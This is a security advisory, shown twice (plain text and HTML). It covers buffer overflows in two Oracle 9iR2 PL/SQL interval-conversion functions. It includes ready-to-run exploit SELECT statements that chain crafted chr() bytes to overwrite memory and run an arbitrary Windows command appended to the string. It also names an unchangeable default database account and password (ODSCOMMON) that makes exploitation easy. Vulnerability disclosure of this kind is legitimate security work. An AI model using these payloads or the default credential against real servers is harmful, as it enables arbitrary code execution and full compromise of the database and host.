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Oracle Database Server is one of the most used database servers in the
world, it was marketed as being unbreakable and many people thinks that
is one of the most secure database server in the market.
Oracle Database Server provides two functions that can be used with
PL/SQL to convert numbers to date/time intervals, these functions have
buffer overflow vulnerabilities.
Vulnerable Systems:
* Oracle Database version 9ir2 and prior
When any of these conversion functions are called with a long string as
a second parameter a buffer overflow occurs.
To reproduce the overflow execute the next PL/SQL:
SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from dual;
SELECT NUMTODSINTERVAL(1, 'longstringhere ') from dual;
Any Oracle Database user can exploit this vulnerability because access
to these functions can 't be restricted. Exploitation of this
vulnerability allow an attacker to execute arbitrary code, also it can
be exploited to cause DOS (Denial of service) killing Oracle server
process. An attacker can complete compromise the OS and database if
Oracle is running on Windows platform, because Oracle must run under the
local System account or under an administrative account. If Oracle is
running on *nix then only the database could be compromised because
Oracle runs mostly under oracle user which has restricted permissions.
Important: Exploitation of these vulnerabilities becomes easy if Oracle
Internet Directory has been deployed, because Oracle Internet Directory
creates a database user called ODSCOMMON that has a default password
ODSCOMMON, this password can not be changed, so any attacker can use
this user to connect to database and exploit these vulnerabilities.
Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server
and Linux confirm these vulnerabilities. Versions running in other OS
platforms are believed to be affected too. Previous Oracle Database
Server versions could be affected by these vulnerabilities.
Exploits:
-- These exploits should work on Windows 2000 Server and Windows XP, not
tested on Windows 2003.
-- Run any command at the end of the string
SELECT
NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) ||
chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) ||
chr(33) || chr(148) || chr(01) || chr(32)|| 'echo ARE YOU SURE?
>c:\Unbreakable.txt ') ?FROM DUAL;
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DISCLAIMER:
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In no event shall we be liable for any damages whatsoever including
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special damages.
<p style= 'margin-left:.5in ' > <font size=3 face= "Times New Roman " > <span
style= 'font-size:12.0pt ' >Oracle Database Server is one of the most used
database servers in the world, it was marketed as being unbreakable and many
people thinks that is one of the most secure database server in the market. <br >
<br >
Oracle Database Server provides two functions that can be used with PL/SQL to
convert numbers to date/time intervals, these functions have buffer overflow
vulnerabilities. </span > </font > </p >
<p style= 'margin-left:.5in ' > <b > <font size=3 face= "Times New Roman " > <span
style= 'font-size:12.0pt;font-weight:bold ' >Vulnerable Systems: </span > </font > </b >
<br >
* Oracle Database version 9ir2 and prior <br >
<br >
When any of these conversion functions are called with a long string as a
second parameter a buffer overflow occurs. <br >
<br >
To reproduce the overflow execute the next PL/SQL: <i > <span style= 'font-style:
italic ' > <br >
SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from dual; <br >
SELECT NUMTODSINTERVAL(1, 'longstringhere ') from dual; </span > </i > <br >
<br >
Any Oracle Database user can exploit this vulnerability because access to these
functions can 't be restricted. Exploitation of this vulnerability allow an
attacker to execute arbitrary code, also it can be exploited to cause DOS
(Denial of service) killing Oracle server process. An attacker can complete
compromise the OS and database if Oracle is running on Windows platform,
because Oracle must run under the local System account or under an
administrative account. If Oracle is running on *nix then only the database
could be compromised because Oracle runs mostly under oracle user which has
restricted permissions. <br >
<b > <span style= 'font-weight:bold ' > <br >
Important: </span > </b > Exploitation of these vulnerabilities becomes easy if
Oracle Internet Directory has been deployed, because Oracle Internet Directory
creates a database user called ODSCOMMON that has a default password ODSCOMMON,
this password can not be changed, so any attacker can use this user to connect
to database and exploit these vulnerabilities. <br >
<br >
Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server and
Linux confirm these vulnerabilities. Versions running in other OS platforms are
believed to be affected too. Previous Oracle Database Server versions could be
affected by these vulnerabilities. <br >
<b > <span style= 'font-weight:bold ' > <br >
Exploits: </span > </b > <br >
-- These exploits should work on Windows 2000 Server and Windows XP, not tested
on Windows 2003. <br >
-- Run any command at the end of the string <br >
SELECT NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36) ||
chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148) ||
chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01) ||
chr(32)|| 'echo ARE YOU SURE? >c:\Unbreakable.txt ') ?FROM DUAL; <br >
<br >
SELECT NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36) ||
chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148) ||
chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01) ||
chr(32) || 'echo ARE YOU SURE? >c:\Unbreakable.txt ') ? <br >
<br >
FROM DUAL; <br >
<b > <span style= 'font-weight:bold ' > <br >
Vendor Fix: </span > </b > <br >
Go to Oracle Metalink site, <a href= "http://metalink.oracle.com/ " >http://metalink.oracle.com </a >.
<br >
<b > <span style= 'font-weight:bold ' > <br >
Vendor Contact: </span > </b > <br >
Oracle was contacted and they released a fix without telling the public nor
Ceaser anything and without issuing an alert. </p >
<p style= 'margin-left:.5in ' > <b > <u > <font size=3 face= "Times New Roman " > <span
style= 'font-size:12.0pt;font-weight:bold ' >Additional Information: </span > </font > </u > </b > <br >
The information has been provided by <a href= "mailto:cesarc56@(protected) " >Cesar </a >.
</p >
<p style= 'margin-left:.5in ' > <font size=3 face= "Times New Roman " > <span
style= 'font-size:12.0pt ' > <br >
<br >
<br >
<br >
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</span > </font > </p >
<p style= 'margin-right:0in;margin-bottom:12.0pt;margin-left:.5in ' > <font size=3
face= "Times New Roman " > <span style= 'font-size:12.0pt ' >DISCLAIMER: <br >
The information in this bulletin is provided "AS IS" without warranty
of any kind. <br >
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages. <br >
<br >
<br >
</span > </font > </p >
